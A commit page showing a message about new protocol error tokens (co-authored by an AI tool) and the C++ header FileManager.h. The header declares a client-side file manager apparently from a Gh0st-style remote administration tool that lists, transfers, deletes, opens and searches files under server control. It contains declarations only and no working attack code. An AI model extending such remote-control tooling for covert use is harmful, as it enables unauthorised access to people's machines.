Four new client-to-server tokens carry a win32/LSTATUS code when a command fails instead of returning empty data: TOKEN_SERVICE_ERROR (170), TOKEN_FILE_LIST_ERROR (171), TOKEN_REG_ERROR (172) and TOKEN_DOWNLOAD_ERROR (173). They sit on byte values that were unused, so existing numbering is untouched. The three data paths that used to collapse "failed" and "empty" into the same packet now distinguish them: OpenSCManager failures, directory enumeration failures and RegOpenKeyEx failures all report the code that was actually returned, and UploadToRemoteV2 reports why it found no file to transfer before the transfer sub-connection is ever created. Every failure branch still sends the packet the old server expects (TOKEN_FILE_LIST, the empty TOKEN_REG_PATH/KEY pair, the ClientMsg popup), so a new client talking to an old server degrades to exactly today's behaviour instead of timing out. Success paths are byte-for- byte unchanged. Co-Authored-By: deepseek-flash
76 lines
2.7 KiB
C++
76 lines
2.7 KiB
C++
// FileManager.h: interface for the CFileManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
#include "Manager.h"
|
|
#include "IOCPClient.h"
|
|
#include "common.h"
|
|
typedef IOCPClient CClientSocket;
|
|
|
|
#if ENABLE_FILE_MNG==0
|
|
#define CFileManager CManager
|
|
|
|
#else
|
|
|
|
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
|
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
|
#include <winsock2.h>
|
|
#include <list>
|
|
#include <string>
|
|
|
|
#include "Manager.h"
|
|
|
|
#if _MSC_VER > 1000
|
|
#pragma once
|
|
#endif // _MSC_VER > 1000
|
|
|
|
typedef struct {
|
|
UINT nFileSize; // 文件大小
|
|
UINT nSendSize; // 已发送大小
|
|
} SENDFILEPROGRESS, *PSENDFILEPROGRESS;
|
|
|
|
|
|
class CFileManager : public CManager
|
|
{
|
|
public:
|
|
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
|
UINT SendDriveList();
|
|
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
|
|
virtual ~CFileManager();
|
|
private:
|
|
std::list <std::string> m_UploadList;
|
|
UINT m_nTransferMode;
|
|
char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
|
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
|
std::string m_Signature;
|
|
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
|
bool UploadToRemote(LPBYTE lpBuffer);
|
|
void UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize);
|
|
void CollectFilesRecursiveV2(const std::string& dirPath, const std::string& basePath, std::vector<std::string>& files);
|
|
bool FixedUploadList(LPCTSTR lpszDirectory);
|
|
void StopTransfer();
|
|
UINT SendFilesList(LPCTSTR lpszDirectory);
|
|
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
|
UINT SendFileSize(LPCTSTR lpszFileName);
|
|
UINT SendFileData(LPBYTE lpBuffer);
|
|
void CreateFolder(LPBYTE lpBuffer);
|
|
void Rename(LPBYTE lpBuffer);
|
|
int SendToken(BYTE bToken);
|
|
UINT SendListError(DWORD dwErr); // 列目录失败的结构化回报(TOKEN_FILE_LIST_ERROR + win32 码)
|
|
void SendDownloadError(DWORD dwErr); // 下载无可用文件的结构化回报(TOKEN_DOWNLOAD_ERROR + win32 码)
|
|
|
|
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
|
void SetTransferMode(LPBYTE lpBuffer);
|
|
void GetFileData();
|
|
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
|
void UploadNext();
|
|
bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
|
void SearchFiles(LPCTSTR lpszSearchPath, LPCTSTR lpszSearchName);
|
|
void SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPattern, LPBYTE &lpList, DWORD &dwOffset, DWORD &nBufferSize, int nDepth, DWORD &nResultCount, DWORD &dwLastSendTime);
|
|
static DWORD WINAPI SearchThreadProc(LPVOID lpParam);
|
|
HANDLE m_hSearchThread;
|
|
volatile bool m_bSearching;
|
|
};
|
|
#endif
|
|
|
|
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|